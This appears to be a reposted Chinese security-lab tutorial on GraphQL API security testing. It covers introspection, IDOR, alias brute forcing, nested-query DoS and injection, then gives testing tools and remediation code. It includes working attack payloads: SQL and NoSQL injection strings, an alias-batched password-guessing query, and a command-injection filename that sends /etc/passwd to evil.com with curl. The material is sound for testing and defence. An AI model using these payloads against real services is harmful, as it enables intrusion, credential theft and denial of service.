文章总结: 本文详细介绍了GraphQLAPI的安全测试方法,包括内省信息泄露、字段级权限绕过、嵌套查询DoS、注入攻击等常见漏洞及利用技术。文章提供了graphql-cop、InQL等自动化测试工具的使用指南,并给出禁用生产环境内省、查询深度限制、速率控制等具体修复方案,适用于安全研究人员进行GraphQL接口安全评估。 综合评分: 85 文章分类: 渗透测试,WEB安全,漏洞分析,安全工具,技术标准
[前沿技术] GraphQL API 安全测试
原创
Pik安全实验室 Pik安全实验室
Pik安全实验室
2026年5月25日 10:13 广东
在小说阅读器读本章
去阅读
0x00 介绍
GraphQL 是 Facebook 开源的 API 查询语言,允许客户端精确指定所需数据,避免了 REST API 的过度获取和不足获取问题。GitHub、Shopify、Twitter 等大量平台已迁移到 GraphQL。但灵活性的另一面是更大的攻击面——内省泄露、字段级权限绕过、嵌套查询 DoS、注入攻击等,需要专门的安全测试方法。
0x01 GraphQL 基础
查询结构
GraphQL 核心三种操作类型:
Query — 读取数据
query { user(id: 1) { name email posts { title } } }
Mutation — 修改数据
mutation { createPost(title: “test”, content: “hello”) { id } }
Subscription — 实时推送(WebSocket)
subscription { postAdded { id title } }
内省查询
GraphQL 内置的内省(Introspection)系统是攻击者的信息金矿。通过内省可以获取整个 Schema、所有类型、字段、参数。
获取所有类型
{ __schema { types { name kind fields { name type { name kind } } } } }
获取所有 Query 入口
{ __schema { queryType { fields { name args { name type { name kind } } } } } }
获取所有 Mutation
{ __schema { mutationType { fields { name args { name type { name kind } } } } } }
0x02 常见漏洞
内省信息泄露
生产环境启用内省是最常见的配置错误。攻击者获取 Schema 后可绘制完整 API 地图,发现隐藏的管理接口和敏感字段。
探测内省是否开启
curl -X POST https://target.com/graphql \ -H “Content-Type: application/json” \ -d ‘{“query”:”{ __schema { types { name } } }”}’
利用 graphql Voyager 可视化
将内省结果导入 https://ivangoncharov.github.io/graphql-voyager/
字段级别权限绕过(IDOR)
GraphQL 解析器可能只在顶层做了权限校验,嵌套字段直接返回敏感数据。
正常查询自己的资料
query { me { name email } }
遍历所有用户(IDOR)
query { user(id: 1) { name email ssn } } query { user(id: 2) { name email ssn } }
嵌套查询绕过权限
query { publicPosts { author { # 通过 post 反向查 user email # 可能泄露邮箱 privateMessages# 如果能查到私信 } } }
批量查询与 DoS
GraphQL 支持别名,可在单次请求中批量发送查询。配合嵌套查询可造成深度递归攻击。
别名攻击(Batching Attack)— 暴力破解
query { a: login(username:”admin”, password:”123456″) { token } b: login(username:”admin”, password:”password”) { token } c: login(username:”admin”, password:”admin123″) { token }
… 一次请求尝试 100 个密码
}
深度嵌套 DoS
query { user { posts { comments { author { posts { comments { author {# 无限递归 posts { title } } } } } } } } }
注入攻击
GraphQL 参数同样可能存在 SQL 注入、NoSQL 注入、命令注入等。
SQL 注入
query { search(keyword: “‘ OR 1=1; –“) { results { title } } }
NoSQL 注入
query { user(email: “{\”$gt\”:\”\”}”) {# MongoDB $gt 绕过 name password } }
OS 命令注入
mutation { exportReport(filename: “test; curl evil.com/$(cat /etc/passwd)”) { url } }
订阅(Subscription)劫持
WebSocket 订阅可能未做认证,未授权用户可订阅实时数据流、窃听敏感事件。
WebSocket 连接未验证
wss://target.com/graphql → {“type”:”start”,”id”:”1″,”payload”:{ “query”:”subscription { newPrivateMessage { from content } }” }}
0x03 测试工具
graphql-cop
Python 编写的 GraphQL 安全审计工具,自动检测常见漏洞。
安装与使用
pip install graphql-cop graphql-cop -t https://target.com/graphql
检测项
- 内省是否开启
- 字段建议(Field Suggestions)
- 深度查询限制
- 别名攻击
- 批量查询
InQL (Burp Suite)
Burp Suite 扩展,解析 GraphQL Schema 并生成测试请求。
Clairvoyance
即使内省被禁用,也能通过字段名猜解恢复部分 Schema。
使用 Clairvoyance 猜测 Schema
python3 clairvoyance.py -o schema.json https://target.com/graphql
配合常见字段字典
python3 clairvoyance.py -w wordlist.txt https://target.com/graphql
GraphQL Raider
Burp Suite 专业版的原生 GraphQL 测试模块,支持自动生成测试用例。
0x04 修复方案
- 禁用生产环境内省
// Apollo Server new ApolloServer({ typeDefs, resolvers, introspection: process.env.NODE_ENV !== ‘production’ })
// GraphQL Yoga createYoga({ schema, maskedErrors: false }) // 默认关闭内省
- 查询深度限制
// graphql-depth-limit import depthLimit from ‘graphql-depth-limit’ const server = new ApolloServer({ validationRules: [depthLimit(5)] // 最多 5 层嵌套 })
// graphql-query-complexity // 根据字段权重计算查询成本,超过限制拒绝
- 速率限制 + 查询白名单
使用 Persisted Queries 限制客户端只能执行预注册的查询。配合速率限制防止暴力枚举。
- 字段级权限控制
在 Resolver 层面实现细粒度授权,每个字段都检查当前用户的访问权限。
本文仅作安全研究与学习用途,用于非法行为后果自行承担。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Pik安全实验室 Pik安全实验室 Pik安全实验室《[前沿技术] GraphQL API 安全测试》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。


![[前沿技术]GraphQLAPI安全测试](/images/random/titlepic/2.jpg)








评论